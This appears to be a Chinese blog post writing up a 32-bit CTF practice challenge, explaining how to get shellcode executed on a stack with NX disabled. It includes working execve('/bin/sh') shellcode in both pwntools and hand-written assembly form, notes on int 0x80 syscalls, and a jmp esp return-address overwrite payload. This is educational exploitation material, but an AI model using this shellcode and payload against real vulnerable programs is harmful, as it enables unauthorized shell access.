shellcode

本文最后更新于:2022年8月25日 下午

shellcode的利用

以国赛提前一天放出的模拟题为例
本文基于32位系统
打开题目后可以发现一下基础信息

1
2
3
没有开任何防护
没有开NX保护,意味着第一时间可以想到,把shellcode放在栈上运行
32位程序

shellcode 生成方法

1
2
context(log_level = 'debug', arch = 'i386', os = 'linux')
shellcode = asm(shellcraft.sh())

这样就可以生成一个shellcode
注意:这样生成的shellcode长度为44,如果超过可以收容的大小,可能需要用其他方法编写shellcode
以下为手动生成shellcode方法,大小为23,很小。

1
2
3
4
5
6
7
8
9
10
11
12
shellcode ='''
xor eax,eax #eax0
xor edx,edx #edx0
push edx #将0入栈,标记了”/bin/sh”的结尾
push 0x68732f2f #传递”/sh”,为了4字节对齐,使用//sh,这在execve()中等同于/sh
push 0x6e69622f #传递“/bin”
mov ebx,esp #此时esp指向了”/bin/sh”,通过esp将该字符串的值传递给ebx
xor ecx,ecx
mov al,0xB #eax置为execve函数的中断号
int 0x80 #调用软中断
'''
shellcode=asm(shellcode)

关于int 0x80软中断

1
2
3
4
第一步,就是需要将系统调用号加入到eax中。
第二步,ebx保存函数调用的第一个参数,ecxedxesiedi分别对应这2345个参数。
如果参数超过5个,就必须将参数数组存储在内存中,而且必须将该数组的地址放在ebx中。
一旦加载寄存器后,就会调用int 0x80 汇编指令来中断,强迫内核暂停手头上的工作并处理该中断。

用ROPgadget获取jmp esp地址

目的在于将返回值设置为jmp esp,可以返回esp然后执行传入的shellcode。

最终的payload

1
2
payload = shellcode.ljust(0x80,b'\x00') + p32(addr_jmp_esp) + asm(sub esp,offset;call esp)
#关于这个asm(...),是手动启用栈,offset值为前面覆盖的数据长度+4。

如此就可以利用一个没有保护,但是也没有system()的程序。
注意shellcode在发送时不用p32包装!!


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!